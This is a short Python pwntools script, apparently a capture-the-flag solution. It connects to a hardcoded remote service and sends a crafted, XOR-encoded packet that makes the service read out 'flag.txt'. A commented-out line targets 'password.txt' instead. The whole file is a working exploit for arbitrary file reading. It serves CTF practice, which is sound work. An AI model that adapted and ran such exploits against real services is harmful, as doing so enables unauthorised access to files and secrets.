from pwn import *

#sock = remote("127.0.0.1", 24001)
sock = remote("128.238.66.227", 24001)

key = "\x00\x00\x00\x00\x00\x13\x0d\x03"

packet  = ""
packet += chr(135) # cipher_data.length = 135  
packet += key # key
packet += "A"
#packet += xor(xor("password.txt\x00", "\x00\x00\x00\x00\x13\x0d\x03\x00"), 0x8f)
packet += xor(xor("flag.txt\x00", "\x00\x00\x00\x00\x13\x0d\x03\x00"), 0x8f)

packet += "A"* (140 - len(packet))

sock.send(packet)
sock.interactive()
